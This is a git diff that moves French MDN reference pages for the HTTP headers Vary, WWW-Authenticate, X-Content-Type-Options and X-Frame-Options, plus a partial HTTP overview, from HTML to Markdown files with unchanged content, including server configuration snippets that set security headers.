+ + diff --git a/files/fr/web/http/headers/vary/index.html b/files/fr/web/http/headers/vary/index.html deleted file mode 100644 index 9686318de5..0000000000 --- a/files/fr/web/http/headers/vary/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Vary -slug: Web/HTTP/Headers/Vary -tags: - - En-tête de réponse - - HTTP - - Reference - - Réponse - - en-tête -translation_of: Web/HTTP/Headers/Vary ---- -
{{HTTPSidebar}}
- -

L'en-tête HTTP  Vary détermine comment les en-têtes de requêtes futures sont associés pour décider si une réponse en cache peut être réutilisée plutôt que de solliciter à nouveau le serveur d'origine. Il est utilisé par le serveur pour indiquer quels en-têtes sont utilisés pour représenter une resource dans un algorithme de négociation de contenu.

- -

L'en-tête Vary doit être renseigné de manière identique sur une réponse {{HTTPStatus("304")}} Not Modified à ce qu'elle aurait été sur la réponse {{HTTPStatus("200")}} OK correspondante.

- - - - - - - - - - - - -
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
Vary: *
-Vary: <header-name>, <header-name>, ...
-
- -

Directives

- -
-
*
-
Chaque requête pour une URL doit être traitée comme une requête unique à ne pas mettre en cache. Une meilleure manière de l'indiquer est d'utiliser {{HTTPHeader("Cache-Control")}}: private, qui est plus clair à lire et signale aussi que l'objet ne doit jamais être mis en cache.
-
<header-name>
-
Une liste séparé par des virgules de noms d'en-tête à prendre en compte lorsqu'il est décidé si une réponse en cache peut être utilisée ou non.
-
- -

Examples

- -

Service dynamique

- -

Lorsque l'en-tête Vary: User-Agent est utilisée, les serveurs de cache doivent prendre en compte l'agent de l'utilisateur pour décider de servir la page depuis le cache ou non. Par exemple, si vous servez du contenu différent pour les utilisateurs sur mobile, il aide à éviter qu'une version ordinateur de votre site ne soit distribuée à un utilisateur sur mobile. Il peut aider google et d'autres moteurs de recherche à prendre en compte la version pour mobile d'un site, ainsi que de signaler que le Cloaking n'est pas intentionel.

- -
Vary: User-Agent
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "Vary", "7.1.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Vary")}}

- -

Notes de compatibilité

- - - -

Voir aussi

- - diff --git a/files/fr/web/http/headers/vary/index.md b/files/fr/web/http/headers/vary/index.md new file mode 100644 index 0000000000..9686318de5 --- /dev/null +++ b/files/fr/web/http/headers/vary/index.md @@ -0,0 +1,85 @@ +--- +title: Vary +slug: Web/HTTP/Headers/Vary +tags: + - En-tête de réponse + - HTTP + - Reference + - Réponse + - en-tête +translation_of: Web/HTTP/Headers/Vary +--- +
{{HTTPSidebar}}
+ +

L'en-tête HTTP  Vary détermine comment les en-têtes de requêtes futures sont associés pour décider si une réponse en cache peut être réutilisée plutôt que de solliciter à nouveau le serveur d'origine. Il est utilisé par le serveur pour indiquer quels en-têtes sont utilisés pour représenter une resource dans un algorithme de négociation de contenu.

+ +

L'en-tête Vary doit être renseigné de manière identique sur une réponse {{HTTPStatus("304")}} Not Modified à ce qu'elle aurait été sur la réponse {{HTTPStatus("200")}} OK correspondante.

+ + + + + + + + + + + + +
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
Vary: *
+Vary: <header-name>, <header-name>, ...
+
+ +

Directives

+ +
+
*
+
Chaque requête pour une URL doit être traitée comme une requête unique à ne pas mettre en cache. Une meilleure manière de l'indiquer est d'utiliser {{HTTPHeader("Cache-Control")}}: private, qui est plus clair à lire et signale aussi que l'objet ne doit jamais être mis en cache.
+
<header-name>
+
Une liste séparé par des virgules de noms d'en-tête à prendre en compte lorsqu'il est décidé si une réponse en cache peut être utilisée ou non.
+
+ +

Examples

+ +

Service dynamique

+ +

Lorsque l'en-tête Vary: User-Agent est utilisée, les serveurs de cache doivent prendre en compte l'agent de l'utilisateur pour décider de servir la page depuis le cache ou non. Par exemple, si vous servez du contenu différent pour les utilisateurs sur mobile, il aide à éviter qu'une version ordinateur de votre site ne soit distribuée à un utilisateur sur mobile. Il peut aider google et d'autres moteurs de recherche à prendre en compte la version pour mobile d'un site, ainsi que de signaler que le Cloaking n'est pas intentionel.

+ +
Vary: User-Agent
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "Vary", "7.1.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Vary")}}

+ +

Notes de compatibilité

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/www-authenticate/index.html b/files/fr/web/http/headers/www-authenticate/index.html deleted file mode 100644 index 4f8234a6f7..0000000000 --- a/files/fr/web/http/headers/www-authenticate/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: WWW-Authenticate -slug: Web/HTTP/Headers/WWW-Authenticate -translation_of: Web/HTTP/Headers/WWW-Authenticate ---- -

{{HTTPSidebar}}
- L'entête HTTP de réponse WWW-Authenticate définit la méthode d'authentification qui doit être utilisé pour obtenir l'accès à une ressource.

- -

L'entête WWW-Authenticate est envoyée en même temps qu'une réponse {{HTTPStatus("401")}} Unauthorized.

- - - - - - - - - - - - -
Type de l'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
WWW-Authenticate: <type> realm=<realm>
-
- -

Directives

- -
-
<type>
-
Type d'authentification. Un type commun est "Basic". IANA maintient une liste des schémas d'authentification.
-
realm=<realm>
-
Une description de la zone protégée. Si aucun domaine n'est spécifié, les clients affichent souvent un nom de domaine formaté à la place.
-
charset=<charset>
-
Indique au client le schéma d'encodage préféré du serveur lorsqu'on soumet un nom d'utilisateur et un mot de passe. La seule valeur acceptée est la chaine insensible à la casse "UTF-8". Cela ne s'applique pas à l'encodage de la chaine du domaine.
-
- -

Exemples

- -

La réponse d'un serveur contient généralement l'entête WWW-Authenticate qui ressemble à ça :

- -
WWW-Authenticate: Basic
-
-WWW-Authenticate: Basic realm="Accès au site de staging", charset="UTF-8"
-
- -

Voir aussi HTTP authentication pour des exemples sur la configuration des serveurs Apache ou nginx pour protéger protéger votre site par mot de passe en utilisant l'authentification HTTP basic.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7235", "WWW-Authenticate", "4.1")}}HTTP/1.1: Authentication
{{RFC("7617")}}The 'Basic' HTTP Authentication Scheme
- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/www-authenticate/index.md b/files/fr/web/http/headers/www-authenticate/index.md new file mode 100644 index 0000000000..4f8234a6f7 --- /dev/null +++ b/files/fr/web/http/headers/www-authenticate/index.md @@ -0,0 +1,78 @@ +--- +title: WWW-Authenticate +slug: Web/HTTP/Headers/WWW-Authenticate +translation_of: Web/HTTP/Headers/WWW-Authenticate +--- +

{{HTTPSidebar}}
+ L'entête HTTP de réponse WWW-Authenticate définit la méthode d'authentification qui doit être utilisé pour obtenir l'accès à une ressource.

+ +

L'entête WWW-Authenticate est envoyée en même temps qu'une réponse {{HTTPStatus("401")}} Unauthorized.

+ + + + + + + + + + + + +
Type de l'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
WWW-Authenticate: <type> realm=<realm>
+
+ +

Directives

+ +
+
<type>
+
Type d'authentification. Un type commun est "Basic". IANA maintient une liste des schémas d'authentification.
+
realm=<realm>
+
Une description de la zone protégée. Si aucun domaine n'est spécifié, les clients affichent souvent un nom de domaine formaté à la place.
+
charset=<charset>
+
Indique au client le schéma d'encodage préféré du serveur lorsqu'on soumet un nom d'utilisateur et un mot de passe. La seule valeur acceptée est la chaine insensible à la casse "UTF-8". Cela ne s'applique pas à l'encodage de la chaine du domaine.
+
+ +

Exemples

+ +

La réponse d'un serveur contient généralement l'entête WWW-Authenticate qui ressemble à ça :

+ +
WWW-Authenticate: Basic
+
+WWW-Authenticate: Basic realm="Accès au site de staging", charset="UTF-8"
+
+ +

Voir aussi HTTP authentication pour des exemples sur la configuration des serveurs Apache ou nginx pour protéger protéger votre site par mot de passe en utilisant l'authentification HTTP basic.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("7235", "WWW-Authenticate", "4.1")}}HTTP/1.1: Authentication
{{RFC("7617")}}The 'Basic' HTTP Authentication Scheme
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/x-content-type-options/index.html b/files/fr/web/http/headers/x-content-type-options/index.html deleted file mode 100644 index cadeb86472..0000000000 --- a/files/fr/web/http/headers/x-content-type-options/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: X-Content-Type-Options -slug: Web/HTTP/Headers/X-Content-Type-Options -tags: - - En-tête HTTP - - En-tête de réponse - - HTTP - - Réponse -translation_of: Web/HTTP/Headers/X-Content-Type-Options ---- -

L'entête X-Content-Type-Options est un marqueur utilisé par le serveur pour indiquer que les types MIME annoncés dans les en-têtes {{HTTPHeader("Content-Type")}} ne doivent pas être modifiés ou et suivis. Cela permet de se détacher du sniffing de type MIME, ou, en d'autres termes, c'est une façon de dire que les webmasters savaient ce qu'ils faisaient.

- -

Cet en-tête a été introduit par Microsoft dans IE 8 comme un moyen pour les webmasters de bloquer le reniflement de contenu qui se passait et pouvait transformer les types MIME non exécutables en types MIME exécutables. Depuis, d'autres navigateurs l'ont introduit, même si leurs algorithmes de reniflage MIME étaient moins agressifs.

- -

À partir de Firefox 72, la désactivation du reniflement MIME est également appliqué aux documents de premier niveau si un {{HTTPHeader("Content-type")}} est fourni. Les pages web HTML qui sont servies avec un type MIME différent de text/html, peuvent alors être juste téléchargées au lieu d'êtres rendues (interprétées et affichées par le navigateur). Assurez vous de valoriser correctement ces 2 en-têtes.

- -

Les testeurs de sécurité du site s'attendent généralement à ce que cet en-tête soit défini.

- -
-

Note : X-Content-Type-Options ne s'appliquent qu'au blocage des demandes par nosniff pour les destinations de demandes de  "script" et "style". Il permet également le blocage en lecture croisé (CORB) pour les fichiers HTML, TXT, JSON, et XML (à l'exception des images SVG image/svg+xml).

-
- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}Non
- -

Syntaxe

- -
X-Content-Type-Options: nosniff
-
- -

Directives

- -
-
nosniff
-

Bloque une requête si la destination de la requête est de type

-
    -
  • "style" et le MIME n'est pas de type text/css, ou
    • -
  • "script" et le MIME n'est pas de type JavaScript MIME type
    • -
-

Permet le blocage de la lecture croisée pour les types MIME

-
    -
  • text/html
    • -
  • text/plain
    • -
  • text/json, application/json ou tout autre type avec une extension JSON: */*+json
    • -
  • text/xml, application/xml ou tout autre type avec une extension XML: */*+xml (hors image/svg+xml)
    • -
-
-
- -

Caractéristiques

- - - - - - - - - - - - - - -
CaractéristiqueStatutCommentaire
{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}{{Spec2("Fetch")}}Définition initiale
- -

Browser compatibility

- -

{{Compat("http.headers.X-Content-Type-Options")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/x-content-type-options/index.md b/files/fr/web/http/headers/x-content-type-options/index.md new file mode 100644 index 0000000000..cadeb86472 --- /dev/null +++ b/files/fr/web/http/headers/x-content-type-options/index.md @@ -0,0 +1,90 @@ +--- +title: X-Content-Type-Options +slug: Web/HTTP/Headers/X-Content-Type-Options +tags: + - En-tête HTTP + - En-tête de réponse + - HTTP + - Réponse +translation_of: Web/HTTP/Headers/X-Content-Type-Options +--- +

L'entête X-Content-Type-Options est un marqueur utilisé par le serveur pour indiquer que les types MIME annoncés dans les en-têtes {{HTTPHeader("Content-Type")}} ne doivent pas être modifiés ou et suivis. Cela permet de se détacher du sniffing de type MIME, ou, en d'autres termes, c'est une façon de dire que les webmasters savaient ce qu'ils faisaient.

+ +

Cet en-tête a été introduit par Microsoft dans IE 8 comme un moyen pour les webmasters de bloquer le reniflement de contenu qui se passait et pouvait transformer les types MIME non exécutables en types MIME exécutables. Depuis, d'autres navigateurs l'ont introduit, même si leurs algorithmes de reniflage MIME étaient moins agressifs.

+ +

À partir de Firefox 72, la désactivation du reniflement MIME est également appliqué aux documents de premier niveau si un {{HTTPHeader("Content-type")}} est fourni. Les pages web HTML qui sont servies avec un type MIME différent de text/html, peuvent alors être juste téléchargées au lieu d'êtres rendues (interprétées et affichées par le navigateur). Assurez vous de valoriser correctement ces 2 en-têtes.

+ +

Les testeurs de sécurité du site s'attendent généralement à ce que cet en-tête soit défini.

+ +
+

Note : X-Content-Type-Options ne s'appliquent qu'au blocage des demandes par nosniff pour les destinations de demandes de  "script" et "style". Il permet également le blocage en lecture croisé (CORB) pour les fichiers HTML, TXT, JSON, et XML (à l'exception des images SVG image/svg+xml).

+
+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}Non
+ +

Syntaxe

+ +
X-Content-Type-Options: nosniff
+
+ +

Directives

+ +
+
nosniff
+

Bloque une requête si la destination de la requête est de type

+
    +
  • "style" et le MIME n'est pas de type text/css, ou
    • +
  • "script" et le MIME n'est pas de type JavaScript MIME type
    • +
+

Permet le blocage de la lecture croisée pour les types MIME

+
    +
  • text/html
    • +
  • text/plain
    • +
  • text/json, application/json ou tout autre type avec une extension JSON: */*+json
    • +
  • text/xml, application/xml ou tout autre type avec une extension XML: */*+xml (hors image/svg+xml)
    • +
+
+
+ +

Caractéristiques

+ + + + + + + + + + + + + + +
CaractéristiqueStatutCommentaire
{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}{{Spec2("Fetch")}}Définition initiale
+ +

Browser compatibility

+ +

{{Compat("http.headers.X-Content-Type-Options")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/x-frame-options/index.html b/files/fr/web/http/headers/x-frame-options/index.html deleted file mode 100644 index b47e3918b5..0000000000 --- a/files/fr/web/http/headers/x-frame-options/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: X-Frame-Options -slug: Web/HTTP/Headers/X-Frame-Options -tags: - - HTTP - - Réponse - - Sécurité - - en-tête -translation_of: Web/HTTP/Headers/X-Frame-Options ---- -
{{HTTPSidebar}}
- -

L'en-tête de réponse HTTP X-Frame-Options peut être utilisé afin d'indiquer si un navigateur devrait être autorisé à afficher une page au sein d'un élément {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} ou {{HTMLElement("object")}}. Les sites peuvent utiliser cet en-tête afin d'éviter les attaques de {{interwiki("wikipedia", "clickjacking")}} pour s'assurer que leur contenu ne soit pas embarqués dans d'autres sites.

- -

Ce complément de sécurité est uniquement valable lorsque l'utilisateur final visite le document avec un navigateur prenant en charge X-Frame-Options.

- -
-

Note : L'en-tête {{HTTPHeader("Content-Security-Policy")}} possède une directive frame-ancestors qui supplante cet en-tête pour les navigateurs compatibles.

-
- - - - - - - - - - - - -
Type d'en-têteEn-tête de réponse
Nom d'en-tête interditNon
- -

Syntaxe

- -

Il existe deux directives pour X-Frame-Options :

- -
X-Frame-Options: deny
-X-Frame-Options: sameorigin
-
- -

Directives

- -

Si on utilise deny, le chargement de la page dans une frame échouera sur un site tiers mais aussi sur un site de la même origine. En revanche, si on utilise sameorigin, on peut toujours utiliser le document dans une frame si celle-ci partage la même origine.

- -
-
deny
-
La page ne peut pas être affichée dans une frame, quand bien même un site tiers tenterait de la charger.
-
sameorigin
-
La page ne peut être affichée que dans une frame avec une origine qui est la même que la page elle-même. La spécification laisse le choix au navigateur de décider si cela s'applique au niveau le plus haut, au conteneur parent ou à l'ensemble de la chaîne des frames potentiellement imbriquées. Il est parfois avancé que cette option n'est pas très utile à moins que l'ensemble des ancêtres partage la même origine (cf. {{bug(725490)}}). Voir aussi le tableau de compatibilité ci-après pour plus de détails sur la prise en charge de cette directive.
-
allow-from uri (obsolète)
-
Une directive obsolète qui ne fonctionne plus dans les navigateurs récents et qui ne doit donc plus être utilisée. Pour les navigateurs historiques, cette directive permettait d'indiquer une origine via une URI afin d'autoriser l'affichage du document dans les frames chargées depuis cette origine. Pour les anciennes versions de Firefox, on a le même problème qu'avec sameorigin : il n'y a pas de vérifications des différents ancêtres pour voir s'ils partagent la même origine. À la place, on utilisera la directive frame-ancestors de l'en-tête {{HTTPHeader("Content-Security-Policy")}}.
-
- -

Exemples

- -
-

Note : La balise <meta> est inutile ici ! <meta http-equiv="X-Frame-Options" content="deny"> n'aura aucun effet et mieux vaut donc ne pas l'utiliser.

-
- -

Configurer Apache

- -

On peut configurer Apache afin d'envoyer l'en-tête X-Frame-Options pour toutes les pages. Dans la configuration, on ajoutera :

- -
Header always set X-Frame-Options "sameorigin"
-
- -

Si on veut utiliser la valeur deny, on pourra utiliser ceci dans la configuration :

- -
Header set X-Frame-Options "deny"
-
- -

Configurer NGINX

- -

Avec NGINX, on pourra ajouter la ligne suivante à la configuration HTTP, serveur ou à la configuration de l'emplacement (location) :

- -
add_header X-Frame-Options sameorigin always;
-
- -

Configurer IIS

- -

Pour IIS, on complètera le fichier Web.config :

- -
<system.webServer>
-  ...
-
-  <httpProtocol>
-    <customHeaders>
-      <add name="X-Frame-Options" value="sameorigin" />
-    </customHeaders>
-  </httpProtocol>
-
-  ...
-</system.webServer>
-
- -

Configurer HAProxy

- -

Pour HAProxy, on ajoutera la ligne suivante à la configuration du front, du listen ou du backend :

- -
rspadd X-Frame-Options:\ sameorigin
-
- -

Dans les versions plus récentes, voici la forme équivalente :

- -
http-response set-header X-Frame-Options sameorigin
-
- -

Configurer Express / Utiliser frameguard en Node.js

- -

Si on utilise Express, on pourra utiliser le module helmet qui tire parti de frameguard afin de régler cet en-tête :

- -
const helmet = require('helmet');
-const app = express();
-app.use(helmet.frameguard({ action: "sameorigin" }));
-
- -

On pourra également utiliser frameguard directement :

- -
const frameguard = require('frameguard')
-app.use(frameguard({ action: 'sameorigin' }))
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7034")}}HTTP Header Field X-Frame-Options
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.X-Frame-Options")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/x-frame-options/index.md b/files/fr/web/http/headers/x-frame-options/index.md new file mode 100644 index 0000000000..b47e3918b5 --- /dev/null +++ b/files/fr/web/http/headers/x-frame-options/index.md @@ -0,0 +1,149 @@ +--- +title: X-Frame-Options +slug: Web/HTTP/Headers/X-Frame-Options +tags: + - HTTP + - Réponse + - Sécurité + - en-tête +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +
{{HTTPSidebar}}
+ +

L'en-tête de réponse HTTP X-Frame-Options peut être utilisé afin d'indiquer si un navigateur devrait être autorisé à afficher une page au sein d'un élément {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} ou {{HTMLElement("object")}}. Les sites peuvent utiliser cet en-tête afin d'éviter les attaques de {{interwiki("wikipedia", "clickjacking")}} pour s'assurer que leur contenu ne soit pas embarqués dans d'autres sites.

+ +

Ce complément de sécurité est uniquement valable lorsque l'utilisateur final visite le document avec un navigateur prenant en charge X-Frame-Options.

+ +
+

Note : L'en-tête {{HTTPHeader("Content-Security-Policy")}} possède une directive frame-ancestors qui supplante cet en-tête pour les navigateurs compatibles.

+
+ + + + + + + + + + + + +
Type d'en-têteEn-tête de réponse
Nom d'en-tête interditNon
+ +

Syntaxe

+ +

Il existe deux directives pour X-Frame-Options :

+ +
X-Frame-Options: deny
+X-Frame-Options: sameorigin
+
+ +

Directives

+ +

Si on utilise deny, le chargement de la page dans une frame échouera sur un site tiers mais aussi sur un site de la même origine. En revanche, si on utilise sameorigin, on peut toujours utiliser le document dans une frame si celle-ci partage la même origine.

+ +
+
deny
+
La page ne peut pas être affichée dans une frame, quand bien même un site tiers tenterait de la charger.
+
sameorigin
+
La page ne peut être affichée que dans une frame avec une origine qui est la même que la page elle-même. La spécification laisse le choix au navigateur de décider si cela s'applique au niveau le plus haut, au conteneur parent ou à l'ensemble de la chaîne des frames potentiellement imbriquées. Il est parfois avancé que cette option n'est pas très utile à moins que l'ensemble des ancêtres partage la même origine (cf. {{bug(725490)}}). Voir aussi le tableau de compatibilité ci-après pour plus de détails sur la prise en charge de cette directive.
+
allow-from uri (obsolète)
+
Une directive obsolète qui ne fonctionne plus dans les navigateurs récents et qui ne doit donc plus être utilisée. Pour les navigateurs historiques, cette directive permettait d'indiquer une origine via une URI afin d'autoriser l'affichage du document dans les frames chargées depuis cette origine. Pour les anciennes versions de Firefox, on a le même problème qu'avec sameorigin : il n'y a pas de vérifications des différents ancêtres pour voir s'ils partagent la même origine. À la place, on utilisera la directive frame-ancestors de l'en-tête {{HTTPHeader("Content-Security-Policy")}}.
+
+ +

Exemples

+ +
+

Note : La balise <meta> est inutile ici ! <meta http-equiv="X-Frame-Options" content="deny"> n'aura aucun effet et mieux vaut donc ne pas l'utiliser.

+
+ +

Configurer Apache

+ +

On peut configurer Apache afin d'envoyer l'en-tête X-Frame-Options pour toutes les pages. Dans la configuration, on ajoutera :

+ +
Header always set X-Frame-Options "sameorigin"
+
+ +

Si on veut utiliser la valeur deny, on pourra utiliser ceci dans la configuration :

+ +
Header set X-Frame-Options "deny"
+
+ +

Configurer NGINX

+ +

Avec NGINX, on pourra ajouter la ligne suivante à la configuration HTTP, serveur ou à la configuration de l'emplacement (location) :

+ +
add_header X-Frame-Options sameorigin always;
+
+ +

Configurer IIS

+ +

Pour IIS, on complètera le fichier Web.config :

+ +
<system.webServer>
+  ...
+
+  <httpProtocol>
+    <customHeaders>
+      <add name="X-Frame-Options" value="sameorigin" />
+    </customHeaders>
+  </httpProtocol>
+
+  ...
+</system.webServer>
+
+ +

Configurer HAProxy

+ +

Pour HAProxy, on ajoutera la ligne suivante à la configuration du front, du listen ou du backend :

+ +
rspadd X-Frame-Options:\ sameorigin
+
+ +

Dans les versions plus récentes, voici la forme équivalente :

+ +
http-response set-header X-Frame-Options sameorigin
+
+ +

Configurer Express / Utiliser frameguard en Node.js

+ +

Si on utilise Express, on pourra utiliser le module helmet qui tire parti de frameguard afin de régler cet en-tête :

+ +
const helmet = require('helmet');
+const app = express();
+app.use(helmet.frameguard({ action: "sameorigin" }));
+
+ +

On pourra également utiliser frameguard directement :

+ +
const frameguard = require('frameguard')
+app.use(frameguard({ action: 'sameorigin' }))
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("7034")}}HTTP Header Field X-Frame-Options
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.X-Frame-Options")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/index.html b/files/fr/web/http/index.html deleted file mode 100644 index 65d677103f..0000000000 --- a/files/fr/web/http/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: HTTP -slug: Web/HTTP -translation_of: Web/HTTP ---- -
{{HTTPSidebar}}
- -

Hypertext Transfer Protocol (HTTP) (ou protocole de transfert hypertexte en français) est un protocole de la couche application servant à transmettre des documents hypermédias, comme HTML. Il a été conçu la communication entre les navigateurs web et les serveurs web mais peut également être utilisé à d'autres fins. Il suit le modèle classique client-serveur : un client ouvre une connexion, effectue une requête et attend jusqu'à recevoir une réponse. Il s'agit aussi d'un protocole sans état, ce qui signifie que le serveur ne conserve aucune donnée (on parle d'état) entre deux requêtes.

- -

Tutoriels

- -

Apprenez comment utiliser HTTP avec des guides et des tutoriels.

- -
-
Aperçu du protocole HTTP
-
Les fonctionnalités de base de ce protocole client-serveur : ce qui est permis par HTTP ainsi que le cadre d'utilisation de ce protocole.
-
Mise en cache avec HTTP
-
La mise en cache est critique pour permettre aux sites web d'être rapides. Cet article décrit les différentes méthodes de mise en cache et l'utilisation des en-têtes HTTP afin de contrôler le cache.
-
Cookies HTTP
-
Le fonctionnement des cookies est décrit dans la RFC 6265. Lorsqu'un serveur répond à une requête HTTP, ce dernier peut envoyer un en-tête Set-Cookie avec la réponse. Le client retourne alors la valeur du cookie lors de chaque requête vers ce serveur via un en-tête Cookie dans la requête. Le cookie peut posséder une date d'expiration, être restreint à un domaine spécifique ou à un chemin d'accès donné.
-
Cross-Origin Resource Sharing (CORS ou partage des ressources entre différentes origines)
-
Les requêtes HTTP cross-sites sont des requêtes HTTP pour des ressources situées dans un domaine différent de celui dans lequel se situe la ressource qui effectue la requête. Par exemple, une page HTML d'un domaine A (http://domainea.example/) effectue une requête pour une image au sein du domaine B (http://domaineb.foo/image.jpg) à l'aide de la balise img. Les pages web actuelles effectuent souvent des requêtes cross-sites pour charger des éléments comme des feuilles de style CSS, des images, des scripts ou d'autres ressources. CORS permet aux développeuses et développeurs web de contrôler la façon dont leur site doit se comporter lorsqu'il reçoit des requêtes d'une autre origine.
-
Évolution du protocole HTTP
-
Une brève description des changements qui ont eu lieu entre les toutes premières versions de HTTP, HTTP/2, HTTP/3 plus récent voire au-delà.
-
Guide de sécurité Mozilla pour le Web
-
Une liste d'astuces visant à aider les équipes opérationnelles afin de créer des applications web mieux sécurisées (en anglais).
-
Les messages HTTP
-
Une description des types et structures de chaque message pour HTTP/1.x et HTTP/2.
-
Une session HTTP classique
-
Un exemple et l'explication du déroulement d'une session HTTP classique.
-
Gestion des connexions en HTTP/1.x
-
Un aperçu des trois modèles de gestion de connexion disponibles pour HTTP/1.x ainsi que leurs forces et faiblesses respectives.
-
- -

Référence

- -

Naviguez dans la documentation détaillée de HTTP.

- -
-
En-têtes HTTP
-
Les messages d'en-tête HTTP sont utilisés pour décrire précisément la ressource ou le comportement du client ou du serveur. Un en-tête propriétaire sur mesure peut être ajouté en utilisant le préfixe X- ; d'autres en-têtes sont disponibles dans le registre de l'IANA, dont le contenu original a été défini dans la RFC 4229. L'IANA maintient aussi un registre des nouveaux messages d'en-tête HTTP qui sont proposés.
-
Méthodes de requête HTTP
-
Différentes opérations peuvent être effectuées avec HTTP : les plus connues GET, POST, mais aussi des requêtes comme OPTIONS, DELETE ou TRACE.
-
Codes de réponse HTTP
-
Les codes de réponses HTTP indiquent si une requête HTTP a été effectuée avec succès. Les réponses sont regroupées en cinq classes : les réponses informationnelles, les réponses de succès, les redirections, les erreurs client et les erreurs serveur.
-
Directives CSP
-
Les champs de l'en-tête de réponse Content-Security-Policy permettent aux administrateurs de contrôler les ressources accessibles pour un agent utilisateur au sein d'une page donnée. De manière générale, il s'agit de directives relatives à l'origine du serveur ainsi qu'aux points de terminaison des scripts.
-
- -

Outils et ressources

- -

Outils utiles pour comprendre et déboguer HTTP.

- -
-
Les outils de développement de Firefox
-
Moniteur réseau
-
Mozilla Observatory
-
-

Un projet conçu pour aider les développeuses et développeurs, les administratrices et administrateurs système ainsi que les professionnels de la sécurité à configurer leur site de manière sûre et sécurisée.

-
-
RedBot
-
Des outils pour vérifier vos en-têtes liés à la gestion du cache.
-
How Browsers Work
-
Un article détaillé sur le fonctionnement d'un navigateur et l'organisation des requêtes HTTP durant la navigation.
-
diff --git a/files/fr/web/http/index.md b/files/fr/web/http/index.md new file mode 100644 index 0000000000..65d677103f --- /dev/null +++ b/files/fr/web/http/index.md @@ -0,0 +1,65 @@ +--- +title: HTTP +slug: Web/HTTP +translation_of: Web/HTTP +--- +
{{HTTPSidebar}}
+ +

Hypertext Transfer Protocol (HTTP) (ou protocole de transfert hypertexte en français) est un protocole de la couche application servant à transmettre des documents hypermédias, comme HTML. Il a été conçu la communication entre les navigateurs web et les serveurs web mais peut également être utilisé à d'autres fins. Il suit le modèle classique client-serveur : un client ouvre une connexion, effectue une requête et attend jusqu'à recevoir une réponse. Il s'agit aussi d'un protocole sans état, ce qui signifie que le serveur ne conserve aucune donnée (on parle d'état) entre deux requêtes.

+ +

Tutoriels

+ +

Apprenez comment utiliser HTTP avec des guides et des tutoriels.

+ +
+
Aperçu du protocole HTTP
+
Les fonctionnalités de base de ce protocole client-serveur : ce qui est permis par HTTP ainsi que le cadre d'utilisation de ce protocole.
+
Mise en cache avec HTTP
+
La mise en cache est critique pour permettre aux sites web d'être rapides. Cet article décrit les différentes méthodes de mise en cache et l'utilisation des en-têtes HTTP afin de contrôler le cache.
+
Cookies HTTP
+
Le fonctionnement des cookies est décrit dans la RFC 6265. Lorsqu'un serveur répond à une requête HTTP, ce dernier peut envoyer un en-tête Set-Cookie avec la réponse. Le client retourne alors la valeur du cookie lors de chaque requête vers ce serveur via un en-tête Cookie dans la requête. Le cookie peut posséder une date d'expiration, être restreint à un domaine spécifique ou à un chemin d'accès donné.
+
Cross-Origin Resource Sharing (CORS ou partage des ressources entre différentes origines)
+
Les requêtes HTTP cross-sites sont des requêtes HTTP pour des ressources situées dans un domaine différent de celui dans lequel se situe la ressource qui effectue la requête. Par exemple, une page HTML d'un domaine A (http://domainea.example/) effectue une requête pour une image au sein du domaine B (http://domaineb.foo/image.jpg) à l'aide de la balise img. Les pages web actuelles effectuent souvent des requêtes cross-sites pour charger des éléments comme des feuilles de style CSS, des images, des scripts ou d'autres ressources. CORS permet aux développeuses et développeurs web de contrôler la façon dont leur site doit se comporter lorsqu'il reçoit des requêtes d'une autre origine.
+
Évolution du protocole HTTP
+
Une brève description des changements qui ont eu lieu entre les toutes premières versions de HTTP, HTTP/2, HTTP/3 plus récent voire au-delà.
+
Guide de sécurité Mozilla pour le Web
+
Une liste d'astuces visant à aider les équipes opérationnelles afin de créer des applications web mieux sécurisées (en anglais).
+
Les messages HTTP
+
Une description des types et structures de chaque message pour HTTP/1.x et HTTP/2.
+
Une session HTTP classique
+
Un exemple et l'explication du déroulement d'une session HTTP classique.
+
Gestion des connexions en HTTP/1.x
+
Un aperçu des trois modèles de gestion de connexion disponibles pour HTTP/1.x ainsi que leurs forces et faiblesses respectives.
+
+ +

Référence

+ +

